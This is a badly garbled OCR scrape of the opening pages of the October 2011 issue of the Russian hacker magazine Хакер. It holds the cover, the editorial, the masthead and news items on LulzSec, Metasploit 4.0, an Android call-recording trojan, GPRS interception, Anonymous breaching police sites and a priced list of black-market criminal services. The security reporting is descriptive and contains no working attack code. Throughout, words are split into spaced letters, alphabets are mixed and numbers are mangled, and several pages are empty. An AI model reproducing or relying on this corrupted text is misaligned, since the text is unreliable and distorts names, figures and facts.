139
-·- -·- -·- 10 [153) 2011 DEFCON . DEFCON 2011 i i1i1ii 1 i i1 i1 1 M1il 1 f11 ", lil11 ilil ilili 11 460715 7 1 00063 11 1 iii;• c:a.

Хакер №10 (октябрь 2011)

Embed Size (px)

Citation preview

Page 1: Хакер №10 (октябрь 2011)

SQLМАР:АВТОМАТИЗАЦИЯ SQL-ИНЪЕКЦИЙ о

-·­СОБИРАЕМ 30-СКАНЕР ЗА$30 -·-КАК MICROSOFТ

ЗАКРЫВдЕТ БОТНЕТЫ -·­ОБХОД ГРУППОВЫХ ПОЛИТИК В ДОМЕНЕ

ЖУРНАЛ ОТ КОМПЬЮТЕРНЫХ ХУЛИГАНОВ

10 [153) 2011 ВСТРЕЧАЙТЕ НОВЫЙ ДИЗАЙН

РЕКОМЕНДОВАННАЯ

ЦЕНА:210р.

DEFCON. ОТЧЕТОТУЧАСТНИКОВ В ХАКЕРСКОМ СОРЕВНОВАНИИ DEFCON СТF 2011 ВПЕРВЫЕ УЧАСТВОВАЛА РОССИЙСКАЯ КОМАНДА. О ТОМ, КАКОНИ ТУДА ПОПАЛИ И КАКОЕ МЕСТО

ЗАНЯЛИ-ОТ ПЕРВОГО ЛИЦА. i i1i1ii1i i1 i11 M1il 1 f11", lil11ilililili ~ 11

460715 7 1 00063 11 о 1 о iii;• c:a.

Page 2: Хакер №10 (октябрь 2011)

lntro НОВЫЙ ДИЗАЙН: НА24 ММ КОРОЧЕ, НА 100°/о КРУЧЕ!

Десятый по счету редизайн журнала зашел у нас довольно далеко :

вместе с дизайном мы поменяли и полиграфический формат, и арт­

директора , и дажетип лака на обложке. Что уж говорить про структуру

статей и м н ожество мелких фишек, которые мы заготовили и зарядили

в материалы этого н омера.

Сразу хочется ответить на вопрос: «Зачем вы укоротили журнал?».

Все просто: формат А4 хреново нам п одходил из-за нео птимальных

пропорций между шириной и высотой. Теперь журнал выглядит шире и

лучше приспособлен для верстки нашего контента с кучей листингов

и скриншотов . При этом могутебе гарантировать, что в новый макет не

стал о влезать меньше инфы : вместимо стьжурнала осталась прежней

и з-заболееэффективногоиспользованияпространства.

Должен сказать, что я лично и вся команда журнала с нетерпени­

ем ждем твоей реакции на реализованны е изменения. Проделана

большая работа , и, как все гда бывает в подобных случаях, наступ ил

волнительный мом е нт п резентации изменений и сбора пе рвы х впе­

чатлений . Пр о шутебя поделиться с нами своими мыслями : в наших

группа·х в са ц- сетях, на сайте xakep.гu, по электронной п очте, ну или

даже << Почтой России».

Другое крутое событие это го месяца- прошедший DEFCON 19 и российская команда, которая впервые участвовала в фи нальной части

престижного CTF. Ч ертовски прия тно, что словосочетание << русские хакеры » начи н аеттеперь ассо циироваться на международной арене

не только с киберпреступ н остью, н о и с w hi teha t- cooбщecтвoм, кото­

рое активно развивается в России.

ХАКЕР 10/153/2011

nikltozz, rn. ре д. Х vkontakte.ru/xakep_mag

..,..НЕР ........ РЕДАКЦИЯ Главный редактор Шеф-редактор

Выпускающий редактор

Редакторы рубрик PC_ZONEиUNITS

взлом

Никита <<nikitozz» Кислицин (nikitozrareal.xakep.rul Степан <<step» Ильин (stepraгeaJ.xakep.ruJ Николай <<gorl» Андреев (gorlumffireal.xakep.ru l

Степан «step» Ильин lstepraгeal.xakep.ru l Маг lmagg0real.xakep.ru l

MALWARE и SYN/ACK UNIXOID и PSYCHO КОДИНГ

Александр «Dr. К1ouniz» Лозовский (alexande гraгeal.xakep.ru l Андрей «Andrushock» Матвеев landгushockffiгeal.xakep гu l Николай «goгl)) Андреев (goгlumffiгeal.xakep.гu l

PHREAKING РR-директор

Редакторхаkер.гu

Литературный редактор

DVD Выпускающий редактор Unix-paздen

Security-paздen Монтаж. видео

ART Арт-директор

Верстальщик

Иллюстрация на обложке

Ассистент

PUBLISHING

Сергей Сильнов [pofakumekay.coml Анна Григорьева (gгigoгievaraglc гul Леонид Боголюбов [xaffiгeal xakep.ru l Светлана Фомина

Степан «Step)) Ильин l steplaгeal .xakep. гu l Антон «Апt)) Жуков [aпtitsterlagmail coml Дмитрий «01 g1 )) Евдокимов levdokimovdslagmail.coml Максим Трубицын

Аnик Вайнер laliklilglc . гu l Вера Светлых

Андрей Дорохин

Дмитрий Рапапорт

Учредитель 000 «Г ей м Лэнд)>, 115280, Москва, у л . Ленинская Спобода, 19, Омега nnaзa, 5 этаж, офис No 21. Ten.: (4951935-7034, факс: (4951545-0906

Генеральный директор Генеральный издатель Финансовый директор Директор по персоналу

Директор no маркетингу Главныйдизайнер Директор по производству

РАЗМЕЩЕНИЕ РЕКЛАМЫ

Дмитрий Агаруно в

Денис Калинин

Андрей Фатеркин Татьяна Гудебская Елена Каркашадзе

Энди Тернбулл Сергей Кучерявый

Т ел.: 14951935-7034, факс: (4951545-0906

РЕКЛАМНЫЙ ОТДЕЛ Директор груnnы TECHNOLOGY Старшие менеджеры

Менеджер

Администратор

Директор корпоративной группы

Менеджер

Старший трафик-менеджер

Марина Koмneвa(komlevalilg lc.гu l Ольга Емельяицева (olgaemlfaglc.rul Оксана Алехина lalekhinalaalc.ru) Елена Поликарпова [ polikaгpoyalaglc.ru) Ирина Бирарова IЬiгaгoya!Qglc.гu l (работа с рекламными агентствами)

Кристина Татаренкова [ tatareпkovafQglc.ruJ Светлана Яковлева lyakovleva slaglc гu ) Марья Алексеева [alekseeya!Oglc.rul

ОТДЕЛРЕАПИЗАЦИИСПЕЦПРОЕКТОВ Директор

Менеджеры

РАСПРОСТРАНЕНИЕ Директор no дистрибуции Руководительотдела подписки

Руководитель

сnецрасnространения

Аnександр Коренфепьд

Светлана Мюллер Т улинова Наталия

Кошелева Татьяна (koshelevalaglc.ru l Клепикова Виктория [ lepjkoya/aglc.гu l

Лукичева Наталья (lukicheva!Oglc.ru l

Претензии и дополнительная инфа:

В случае возникновения вопросов по качеству печати и ОVD·дисков :~. Горячаялиния по подписке

Факсдля отправки куnонов и квитанций на новые подписки: [495)545·09·06 Т елефон отдепа nодпискидля жителей Москвы: (4951663-82-77 Т елефон для жителей регионов и для звонков с мобильных телефонов: 8·800-200·3·999 Дпя nисем : 101000, Москва, Главnочтамт, а/я 652, Хакер

Зарегистрировано в Министерстве Российской Федерации поделам печати, телерадиовещанию и средствам массовых коммуникаций ПИЯ 77-11802 от 14.02.2002 Отпечатано в типографии Zapolex, Польша . Т и раж 219 833 экземпляров.

Мнение редакции не обязательно совпадаете мнением авторов. Все материалы в номере nредоставляются как информация к размышлению. Лица, использующие данную информацию в противозаконных целях, моrут быть привлечены к ответственности. Редакция не несетответствен­

ности за содержание рекламных объявлений в номере. За nерепечатку наших материалов без

спроса -преследуем . По вопросам лицензирования и nолучения прав на использование редакци­

онных материалов журнала обращайтесь по адресу: coпteп t raglc.ru . © 000 «Г ей м Лзнд», РФ. 201 1

001

Page 3: Хакер №10 (октябрь 2011)
Page 4: Хакер №10 (октябрь 2011)
Page 5: Хакер №10 (октябрь 2011)

MEGANEWS TOPIARY АРЕСТОВАН. ИЛИ НЕТ? В ВЕЛИКОБРИТАНИИ, ПОХОЖЕ, ОТЫСКАЛСЯ ОДИН ИЗ ЧЛЕНОВ LULZSEC

а

« Вынесможе-те арестовать

идею», -rласит

последняя запись

втвиттере Topiary. На судхакер явился в темных очках и

с непробиваемым покер-фейсом

ес м от ря на то что LulzSec'ы н едавн о объяв ил и о р ос пуске и прекр аще­

ни и деятельн ости , п о л и ци я отнюдь н е п е р естал а и х искать . И одн о го,

п охоже, даже на шл и. 27 и юля на Ш етландск и х ост ровах б рита н ска я

п олици я п ри п одде ржке ФБР а рес то в а л а 1 8 -л е тн е го пар ня , кото ры й, п о и х

да нны м, б ыл пре сс-секретарем групп ы - вел и х Tw itte г и ск рыва л ея в С ети п од

ни ком То рi а г у. Н ас тоящее имя пр едп ол а га емо го хаке р а Джейк Де ви с. П о чему

<< пр едп ола гаемо го»? П отому что д ел о д о в ольн о стран н ое. Ко пы уже предъя в и ­

ли па р н ю об в и н е н ияв н еса н кцио нир о в а нн о м досту п е к ком пь юте рны м с и с те ­

ма м , у ч асти и в о рга н иза ции Dd oS-aтaк и други х пр есту пл е н и я х. Также п олиция

утве рждает, что н а ко мп ьютере п одозреваемо го н а шл и доказат ель с тв а, в то м

чис л е 750 000 па р олей , ко н фиде нциальны е д а нны е о рга н иза ции N HS, а та к же набр оски а фе ры с лип о во й н о в ост ью о м ертв о м Руперте Мердо к е . Однако есть

н екоторы е «НО». Та к , в бл аге Lul zSec Exposed вы сказ ыв аютс я серье з ные со­

мн е ни я в том, что заде ржа нны й в само м дел е имеет о т но ше н ие к LulzSec. Бо л ее

то го, р аско п а ны и о п убл ико ваны ( pasteЬiп.com/kfiЗTicq ) с тр а нны е л а г и, где

Тор i а гу при з н ается собе с едн ику, ч то <<одолжил » с в ой ник у н е кое го б ританца с

севе р а с тр а ны , чт об ы п ус т и ть к а п о в п о л ож н ому сл еду. Пр а вда л и это? По х оже ,

н ет. Джейк пока отп уще н п од п одп иску о н е вы езде, п осаже н п оддо машни й

а рес т и в л учш их тр а ди ци ях фильма <<Хаке ры » лиш ен досту п а к С ет и .

HABLACKHAT2011 ИЗ-ЗА СБОЯ В РАБОТЕ КОЛИЧЕСТВОРУССКО-

ПРОВЕЛИ ОПРОС: Amazoп ЕС2 круnнейшие ЯЗЫЧНЫХАККАУНТОВ

«Anonymous и LulzSec- сайты (Reddit, Netflix и т. д . ) в Twitter'e уже nревышает герои или негодяи?». не работали более 30 минут. 1 млн, сообщает<<Яндекс».

36% ответили, что парни- Оказалось, в дата-центр Однако лишь 6,4% иэ них герои, зато 64% уверены, Amazon попала молния! Вот пишутвсвоймикроблогв

что они nреступники . тебе и облака . течение дня .

001,

БОЛЕЕ "52 САЙТОВдефейснул тунисский хакер, скрывающийся

подникомТhе077(Наmdi Hacker).

Практическихакерскийрекорд

Гиннесса .

ГАДЖЕТ ДЛЯ ПОИСКА КЛЮЧЕЙ НАКОНЕЦ-ТО НА КЛЮЧИ МОЖНО &УДЕТ ПОЗВОНИТЬ!

аверное, с каждым иэ нас хоть раз nриключалась

такая история: утро, пора бежать, но ты лихора­

дочно разыскиваешь по квартире связку ключей,

которая мистическим образом куда-то испарилась. В

такие минуты мечтаешь: «Вот было бы круто, если бы на

ключи можно было позвонить, как на мобильник». Мечты

сбываются! Повесив на ключи вместо брелока гаджет

СоЬга Tag, работающий с Bluetooth и GPS, и установив на мобильный приложение СоЬга Tag, ты сможешьзапелен­

говать пропажу, где бы она ни находилась. После того как

тынажмешь на пару клавиш, это замечательное изобрете­

ние покажеттебе схему, как найти ключи. Также в nрило­

жении есть возможность задать максимальное расстояние

удаления от ключей, после превышения котороготелефон

подастсигнал и покажет, где они находятся . Но защита

двухсторонняя: с ключей можно узнать, где телефон, или

ключи могут nросигналиэировать, еслителефон вдруг

начнет от них удаляться. Согласись, с таким устройством

шансы статьжертвой карманника или неприятной случай­

ности уменьшаются . Теперь осталось nридумать что-то

подобное для поиска носков . Кстати, цена этого замеча­

тельного девай са составляет всего 60 долларов!

PayPal'"

30 ЛЕТ ИСПОЛНИЛОСЬ MS- PAYPAL НЕ РАЗРЕШИТ DOS'Y -легендарной дис- российским польэовате-

ковойоперационнойсистеме л ям принимать nлатежи в

компании Microsoft. Также 30 ближайшем будущем! Зая в-

летнаэад, 12августа ление о такой возможности

1981 г. , был выnущен ком- и оnубликованныеусловия

пьютер IBM РС 5150. nриэнаны ошибкой! Увы .

ХАКЕР 10/153/201 1

Page 6: Хакер №10 (октябрь 2011)

MEGANEWS В СЕРВИСЕ МИКРОБЛОГОВТWIТТЕR'А появились пользовательские фотогалереи. Конец Twitpic.com и прочим сервисам .

НОВЫЙ METASPLOIT КОМПАНИЯ HD MOOR ВЫПУСТИЛАНОВУЮ ВЕРСИЮ СВОЕГО ЗНАМЕНИТОГОИНСТРУМЕНТАРИЯ

~""s 201 О-1044 1 0: 1 З:324t00 •~5""««« Pytl'lonn 2010.of-2tC$,0:01 .()400 40777~

Sy$1tm~lnfofm'lti0n 20104Н t 22:2l : ЭЭ 4500 40777~ wwtП 2010-10.о4111 : 1 .. ~ 4400 .fo0777-""--kc 1010-oi-21 1 2:38:~ 4400 •о111~

le..-n 201G-1G-1 11 20:02: 11 -0400 <1110777~ srt~lplogt 20 t o.os-ЗO t6<oc=t • .о•оо •0111~ АUТОЕХЕС.8АТ ОЬ 2010.02-14 22111:24 .OSOO 100777,..___

~~~----------------г===~~~~·~~~,~~~~----------~ 1- -11 • ... -·.., 11 - 1

августа компания Rapid7 объявила о долгожданном рели з е Metasploit Fгamewoгk4.0. Эйч Ди Му р и сотова­

рищи н е ча сто радуют публику новыми версиями, на­

пример , версия 3.0 вышла в да леком марте 2007 г. ! Разумеется,

данная ново стьсоздала немалый ажиотаж в кругахспециали ­

стов п о компьютерной безопасности. Если раньше основной

целью Metasploit 'a было п олучить шелл на уязвимой ма шин е, то

теперь подход немного поменялся . В метасплоитбылидобав ­

лены десятки различных вспомогательных м одулей, а также

более 200 модулей, пр едназначенных для сбо ра различного

р одаданных о цели . В ся собранная информация можетбыть

сох ра н е н а вБД . Особенноавторыакцентируютвниманиеина

том , что Metasploit Fгamewoгk 4.0 стал куда более пластичен по сравнению сЗ.х-верс иями. В новой ве р с ии уделили внимание

и широкому ра с п ро стра н е н ию технологий DEPиASLR . Графи­

ч ес кую oбoл oчкymsfgu i п ере п исали с GTK на Java, пофикс ил и

ба г и и даже на рисовали н овы й АSС II -бан н ер. Однако, говоря о

ба гах, нел ь зя не за метит ь , что в благе Rapid7 честно сообщает­

ся, что некоторые фишки Metasploit4.0 ещетолько предсто ит доделать, а часть фун кцианала пока далека от идеала . В целом

всеэто выглядит довольностранно и нав одит на мысли, что Мур

исотоварищинемного поторо пилисьс рел и зом .

GOOGLEПOKYПAETMOTOROLA

!мобильное подразделе·

ни е компании! за 12,5 млрд доЛларов. Таккакотделение

Motorola МоЬllitузанимается выпуском мобильныхтеле·

фонов и смартфонов, покупка

обеспечит великолепную под·

держку мобильной OCAndroid. Завершитьсделку планирует·

с я в конце 2011-начале 2012 г г. Подразделение Motorola станет крупнейшим приобре·

тением корпорации Google.

006

716 эксплоитов

361 вспомогательный модуль

68 модулей для вы · полненияопераций

после успешной эксплуатации

входятсейчаев пакет Metasploit. Код Metasploit 'a рас· пространяется под

лицензией BSD

«ОСОБОЕ МНЕНИЕ» в жизнь СОФТ НАУЧИЛСЯ ПРЕДСКАЗЫВАТЬ ПРЕСТУПЛЕНИЯ

дивител ьным иневероятн ым за н имаются палицей·

скиеизамерика нскогогородаСанта-Круз lштат

Калифорния!. Там на практике примен или н о вей шую разработку- программу, с пособную предсказывать, когда и

гдедолжно совершиться прес ту пле ние, буд ь то квартирная

кража илиугон машины. На са момделе н икакой магии здесь,

ко н еч но, нет. Волшебный, на первый взгляд , софтсоздан

груп пой ученых, в которую в ошлидва математика, антрополог

и криминоло г. Методика работы программы почти аналогична

методике расчета силы остаточн ы х подземныхтолч ков по с л е

землетрясений.Разработкаопирается настати стические

дан н ые за п оследние восемь л ет, а н ал из и рует и х, сопоставля·

ети наихоснове ге нерирует п ро гнозотносител ьно наиболее

вероятн ых мест и времени совершения преступ л е н ий в буду·

щем. П ричем п рогнозы ежедневно корректируются сообразн о

новым дан ным . Как ни стра н н о, это работает. << П рограмма уже

помогл а офи церам п редотвратить несколько п реступлений

и со верш ить пять арестов>>, - заявил изданию << Н ью·Йорк тайме >> аналитик криминального отдела поли ции За к Френд .

Те перь копы за ранее выезжают на места, где вероятность

совершенияпреступлениянаиболеевысока.Пословамвсе

того же Френда , << п ерв ые результаты в печатляют : в июле

количество ограблений снизилось на 27% п о сравнению сана­ло г ич н ым месяцем прошлого года>>. Аналогичную тех нологию

ско р о пл а нируютвнедрить и в Л ос-Анджелесе.

ВЫШЛА БЕТА-ВЕРСИЯ

FIREFOX7 для ПК и устройств на Aпdroid .

Новаяверсияиспользуетна

20-50% меньше памяти , чем

ее предшественницы .

3/. ВСЕХ РУТКИТОВ живут

на машинах под управлени ·

ем Windows ХР, рапортует Avast. 71.% заражений было найденоименнонакомпью·

тер ах С «ХрЮШКОЙ ».

ХАКЕР 10/153/2011

Page 7: Хакер №10 (октябрь 2011)

MEGANEWS 83% ОТ ВСЕХ ПОЛЬЗОВАТЕЛЕЙ GOOGLE+ являются неактивными, сообщаеткомпания Bime Analytics.

SAMSUNG GALAXYXCOVER ••ГУГЛОФОН~~. С КОТОРЫМ ХОТЬ В ОГОНЬ, ХОТЬ В ВОДУ

то время как прилавки

магазиновоккупированы

смартфонами,коммуника­

торами и планшетами всех мастей,

многие из нас испытываюттеnлую

ностальгию по << неубиваемым >> мо­

бильникам. Не знаю, как тебе, а нам

порой искренне не хватаетстарого

Eгicsson R31 Os с антенной <<акулий

плавник ». А был ведь еще замеча­

тельный Siemens МЕ45 ... Эти аппа­

раты вспоминаются с такой тихой

радостью, потомучтосовременные

сма ртфоны, увы, штука довольно хруnкая: один неосторожный удар, и уже замена

стекла . Одно падение, и почти гарантированный визит в сервис, где , вероятно,

nридется оставить несколько тысяч . Такое положение вещей не устраивает мно­

гих людей, а порой и вовсе становится решающим фактором , останавливающим

человека от покупки . Но сегодня на улице поклонников прочной техники nразд­

ник . Компания Samsung объявила о том, что расширяетсвою линейку смартфо­

нов на базе Aпdгoid'a моделью Gala xy Хсоvег IGT-556901 в защищенном от внешних

воздействийкорпусе. Новинкасоответствуеттребованиямстандарта1Р6~что

н а человеческом языке означает полную пыленепроницаемость, устойчивость к

падениям и даже возможность погружения аппарата на глубину до 1 м в течение

получаса. Замечу, что до недавнего времени в линейку Хсоvег входили лишь

самые простые устройства, однако Samsuпg решил пересмотреть свою политику

в отношении серии.

Galaxy Хсоvегзто самый что ни на есть полноценный с мартфон с ОС Aпdгoid 2.3

Giпgeгbгead на борту. При всей своей << неубиваемости » новинка остается весьма

изящной, ее вес равен 135 г, а толщина составляет 12 мм . Диагональдисплея

составляет3,65дюймов, и он дополнительно защищен устойчивым к царапинам

закаленным стеклом, которое в 4-5 раз прочнее обычного. Внутри Galaxy Хсоvег'а

можно обнаружить процессор стактовой частотой 800 М Гц, 150 Мб флеш-памяти ,

слот для карт памяти формата micгoSD, беспроводные адаптеры Wi-Fi 802.11 п и

Bluetooth 3.0, модуль GPS и nоддержку стандарта HSPDA. Также присутствуют

камера на 3 мегапиксела, оснащенная светодиодной вспышкой !ее можно ис­

пользовать в качестве фонарика!, FМ-радио, USB 2.0, 3,5-аудиоразъем и доволь­

но емкий аккумулятор 1500 мАч.

К сожалению, пока модель GalaxyXcoveг анонсированатолькодля Германии и

Швеции, где начало продаж намечено на октябрь-ноябрьтекущего года . Как будет

обстоятьдело с другими странами, пока не ясно. Однако известно, что в Швеции цена

смартфона составит2800 шведских крон, что равно nримерно 12,7тыс. рублей .

Также хочется заметить, что защищенных аппаратов на Aпdгoid 'e вообще не­

много. Из достойных альтернатив можно назвать разве что Motoгola Defy и Sопу

Eгicssoп Хрегiа Active.

008

Samsung Galaxy Xcover оснащен nриложениями Samsung Social Hub, с помощью которых можно общаться с кем угодно, пользуясь единым удобным интерфейсом

ХРПОТИХОНЬКУСДАЕТПОЗИЦИИ

ВПЕРВЫЕ ЗА ВСЮ ИСТОРИЮ НАБЛЮДЕНИЙ ДОЛЯ WINDOWS ХР НА РЫНКЕ УПАЛА НИЖЕ ОТМЕТКИ 50°/о И ТЕПЕРЬ СОСТАВЛЯЕТ ,9,69°/о

ХАКЕР 10/153/2011

Page 8: Хакер №10 (октябрь 2011)

Чеоный рынок что nочЕм?

Винтернете давным-давно сформирован

черный рынок переанальныхданных

и криминальных услуг. Купить можно

практически все, причем дешево!

Текстовая информация

о банковской карте.

DDoS сайтов и сервисов lв сутки ! .

Регистрация на закрытом форуме .

Кромеденегтребуются рекомендации от

зарегистрированных пользователей.

Неделя платной рекламы на

закрытом хакереком форуме.

ХАКЕР 10/153/2011

Дамп магнитной полосы

банковской карты.

Сплоитпак- набордля заражения

компьютеров !годовая лицензия!.

,/'.

Пользование DouЫe VРN-сервисом

длязффективнойанонимизации

lвмесяцl .

Заражениетысячи компьютеров в США

через качественный взломанный сайт.

АЬusе-устойчивый хостинг

lв месяц! .

Технологичный

банковский троя н .

Активация любого интернет­

сервиса на левыйтелефон

SМS'кой либо звонком .

Заражениетысячи китайских компьюте­

ровнеустановленного происхождения .

1

~'

Вывод ворованныхденег банковским

переводам lот$50001.

J ._/

Доступ к банковскому аккаунту

с больши м балансом.

Банковская карта и счет в

европейском банк~ оформленный

на подставное лицо.

Подписканаsосks-сервис

lв месяц! .

009

Page 9: Хакер №10 (октябрь 2011)

MEGANEWS СТРАНИЧКУПАВЛАДУРОВАВКОНТАКТЕ ДЕФЕЙСНУЛИ руферы, которые эабрались в офис соцсети и поменяли статус с его компьютера

ANDROID-TPOЯH СЛУШАЕТТЕБЯ МАЛВАРЬ НАУЧИЛСЯ ЗАПИСЫВАТЬ ПЕРЕГОВОРЫ

а

Между прочим, по мнению <<Лаборато­рии Касперского»,

во втором квартале

2011 г. одной из основныхугроз

стали именно

мобильные вирусы . Количество малваря ДЛЯ Aпdroid 05 ВОЗ· росло в три раза по

сравнению с первым

кварталом

появлении крайне неприятноготрояна, ориентированногонадевайсына

платформеАndгоid, сообщили специалисты компании СА Techпologies.

Инфицировав устройство, малварьполучаетконфигурационный файл, со­

держащий ос новную информацию абудаленнам сервере и пара метрах. Затаившись,

троя н поджида ет, когда пользователь начнет разговор, а дождавшись, записывает

его в форматеАRМ, сохраняя в каталоге shaпgzhou/callгecoгd на карте памяти

ISDCaгdl. Вуаля, файл готовдля передачи на удаленный сервер . Конечно, ранее по­

добная малварьтоже перехватывала и фиксировала данные, будь то длительность

звонков , номера входящих и исходящих номеров и тому подобное, однако сами раз­

говоры все же не за писы вал. По словам сотрудни ков СА Techпolog ie s, зто п ока своего

рода прототип. Дело в том, что прога пока не умеетустанавливаться самостоятельно:

потенциальная жертва должна согласиться установить приложение, разрешив ему

запись звука, чтениеданных о состоянии телефона и предотвращение засыпания

устройства . Что хакеры станут делать, заполучив записи разговоров, не сов сем ясно,

но паранехороших идей на этотсчетуже пришла нам в голову.

.(Ь i/i) • 8 .li н... ap.n s- Pf\nt ...

LJ XМ_AI._I.C.tinQ.I!ml Q

1 <?ха\ veгsion= ' l , е ' encodin;• 'utf·8 ' s tandat.one=' ru' ?> 2 <88р>

: :~~~ ~:::::::~:~~~!:~•tring> ~и</string> !S cint na•e=="Port" va\ue•"2018" / > 6 <st ring n••e:r" EndT1•e ">2Э : 59-c/strinv> 7 <string na•e=-"Ti••">1</8t r ing> 8 oestring naae= .. BeginT1ae">et : t1</string> • </88р>

-."" ·--··­= ......... ··-·-ГЛУПОСТЬЛЮДСКАЯ НЕ ЗНАЕТ ГРАНИЦ

70°/о РОССИЙСКИХ ЮЗЕРОВ НЕ МОГУТ ОТЛИЧИТЬ ПИРАТ­СКИЙ КОНТЕНТ ОТ ЛЕГАЛЬ­НОГО, ЕСЛИ ВЕРИТЬ ОПРОСУ ФОНДА <<ОБЩЕСТВЕННОГО МНЕНИЯ>>

010

GPRS НЕ УСТОЯЛ НОВЫЙ ОБРАЗЦОВО-ПОКАЗА ТЕЛЬНЫЙ ВЗЛОМ СОТОВЫХ СЕТЕЙ

ь1 уже неоднократно рассказывали тебе о крип­

тографе, исследователе и просто интересном

человеке- Карстене Ноле . Например, пару

лет назад он продемонстрировал бюджетный !но очень

действенный! с пособ взлома GSМ-сетей , для которого

требовалась лишь связка « н аутбук- сотовый >> , притом

в качестве мобилки могла выступать самая при митив ная

модель « Моторолы >> за 15 долларов. Теперь главнЬIЙ научный сотрудник берлинской Secuгity

Reseaгch Labs решил подвергнутьобоснованной критике

GPRS. Как и в прошлЬiй раз , виновнЬiми в уязвимости GPRS оказались не пользователи и даже не аппаратно-софтверная

составляющая самих гаджетов. Вся вина на крупнЬiх со­

товьlх операторах, таких как T-MoЬile , 02 Geгmany, Vodafone, которЬiе используют небезапасную реализа цию GPRS. Криптазащита в GPRS используется довольно редко, а если даже и при меняется, то, со слов Нола, является «безнадежно

устаревшей >> . Неудивительно, учитЬiвая, чтодаже 128 битная схема шифрования практически никем и нигде не п рименя­

ется . П олучается, что, с одн ой стороны, мы имеем отсутствие

взаимной аутентификации, что позволяетхакеруподделать

свое устройство подлегитимнЬiйтерминал абонента , и

базоваясотоваястанциябудетпередаватьхакерутрафик

ничего не подозревающих юзе ров. С другой сторонЬI, корот­

киеключисоздаютусловиядлябес препятственныхатакс

использованиемрадужныхтаблиц.

Карстен Нол сумел найти в технологии серьезную уязви­

мо сть. В рамках хакерекой конференции Chaos Commuпication Camp 2011, прошедшей недавно в Германии, исследователь продемонстрировал ПОдл я снифинга GPRS, при помощи кото­рого даже любитель сумеет перех ватить GРRS-даннЬiе , если

трафик н е кодируется . Н о даже при включенном шифровании

атака возможна: во время с воегодоклада Нолтакже показал и

некоторЬiетехники криптоанализа , благодаря которЬiм можно

без особЬi х проблем дешифровать трафик GPRS со слабой защитой . К слову, представленная технология позволяет

перехватЬiватьданнЬiе в радиусе 5 к м! Исследователь отдает себе отчет в том, что его софт

может подвергнуть операторов GPRS, н е пользующи хся

кодированием , непосредственнойопасности.Однакоэто

его мало с м у щает. Нол надеется, что сумееттаким образом

подтолкнуть сотовЬi х операторов к внедрению более

защищеннЬi х с истем шифрования . Если же посл е Chaos Commuпicatioп Camp реак ции отоператоров не воспосле­дует, экс п ерт всерьез намеревается о публи ковать свои

разработки в открЬiтом доступе. Что ж, пожалуй, атаки

хакеров тоже хорошая мотивация .

Карстен Нол давно занимается безопасностью сотовых сетей

ХАКЕР 10 / 153/ 2011

Page 10: Хакер №10 (октябрь 2011)

ГciChrlsJohnRIIey:

~ Дорогой 0google, некоторые из ~ наиболее интересных людей,

которых я знаю, используют

псевдонимы ... Банить их на G+ за это , это

делает тебя бесполезным!

W ГciSecurltyHumor:

Goog le+ САРТСНА: << Нам нужно

удостовериться, что вы человек .

Введите ваше реальное имя,

номер телефона, а также номер социально­

го страхования или номер паспорта , после

чего нажмите кнопку "Я человек"» .

ГciOxcharlle:

Читаю доклады.

Рецензирование - сложная

штука! Я могу одобрить лишь

15% тем. Моя задача -сделать RSA «те х­

нической» в зтом году, но ...

1!1!1 Комментарий: Гражданин Чарли

- Миллер жалуется на темы докладов для одной из самы х уважаемых конфе­

ренций года - RSA. Организаторы выбра­ли Чарли, чтобы отобрать технические

доклады и сделать конфу «живее>>.

Гclnlckdepetrlllo:

По ходу, народ забывает, что

есть большая разн ица между

«взломать>> шифрование и

«обойти >> его .

ГciVUPEN:

VU?EN Java 7 теперь доступна. Все моду­ли имеют поддержку ASLR, а зна­

чит, обойти ASLR с помощью Java ROP уже не выйдет. Поздравляю O гacle/Sun!

XAICII8 10/153/2011

Гcltavlso:

Adobe исправила около 400 ун и­кальных уязвимостей, которые

я выслал им в APSB11-21 как

часть работ по продолжительному аудиту

безопасности. Не опечатка .

1!1!1 Комментарий: 400! Просто чума .

- Кстати, не факт, что хотя бы 50 % из них была «эксплуатируема>> , но число заслу­

живает удивления . А для любопытных ссы­

лочка, как это было,- Ьit . ly/gjJzZD .

Гcltodb:

Различие между известными

хакерами и настоящими зна­

мен итостями в том, что зна­

менитости вообще-то знают, как хотя бы

притворяться вежливыми.

Гclxme:

Ставлю физический сервер ...

Какая скука! Вива виртуали-

Гclkevlnmltnlck:

Только что приземлилея в Лас­

Вегасе!!!

1!1!1 Комментарий: Ага, на поминаю, что

- недавно БлэкХат и Дефкон прошел, где, кстати, было РЕКОРДНО Е количество

наших ребят! И Митник - там же.

JЯ заплатил 50 тыс. баксов за тест на проникновение, и все, что

я получил, - это за nуск сканера

Nessus сертифицированным по CISSP товари­щем . http://t .co/PehгnZn .

Гclstephantsov:

Вперед! Вперед ! Вперед,

команда IV! Удачи вам, парни на #defcon!

1!1!1 Комментарий:

- Ага , результат мы знаем (есл и нет, читай материал про Defcon CTF в этом

номере! . Что ж, очень неплохо!

11

Гclpentestit:

Список SSL-сканеров для пен­

тестеров! http :UЬit . lv!oBjSгT.

Комментарий:

Иногда в твитах бывает именно то, что

ты ищешь! Потому данный твит и попал сюда.

ГclstrOke:

packetstormsecurity.com + explo1t-db.~om + FD + Dai ly

Dave + metasp loit 's change log -тяжело сделать круче.

1!1!1 Комментарий:

- Милворма давно уж нет, и его созда­тель (0str0kel давно забил на этот проект.

А ресурсов со сплойтами, как всегда, много .

Опять фей спалм! «Сервер Cisco TelePгesence [ . ..] в кл ючает

учетную зап ись root [и n а роль] ,

Вау! 010 Ed itoг теперь есть и для

Мае 05 Х. Довольно скоро мне вообще не нужна будет винда!

nt

Page 11: Хакер №10 (октябрь 2011)

MEGANEWS НЕДАВНО В КИТАЕЗАКРЫЛИ 22ЛИПОВЫХ МАГАЗИНААРРLЕ , которые в точности копировали официальные бути к и Apple Stoгe .

«АНОНИМУСЫ» ДОБРАЛИСЬДОПОЛИЦИИ

охоже, скоро будет проще сказать, кого еще НЕ ха к­

нули Анонь1. Кампания AntiSec набираетоборотЬI, и теперь очередьдошла до полиции США . Атака

бЬiла совершена на 77 веб-ресурсов, преимущественно на сайтЬI шерифских управлений в штатах Луизиана , Арканзас,

Миссисипи и Канзас. П о неподтвержденнЬiм даннЬi м, по­

страдала также полицейская академия и база даннЬiх с

информацией о заключеннЬiх . Как бЬI то ни бЬIЛО, в сумме

хакерам удалосьзаполучить более 1 О гигабайттрофейнЬIХ даннЬiх , среди которЬiх бЬiла различная информация о более

чем 7000 сотрудников правоохранительнЬiх органов. Утекло все-логинЬI, па роли, номера социального страхова ни я,

даннЬiе банковских карт, адреса и даже электроннЬiе

письма.Разумеется , прятатьдобЬiчуотсетевойобществен­

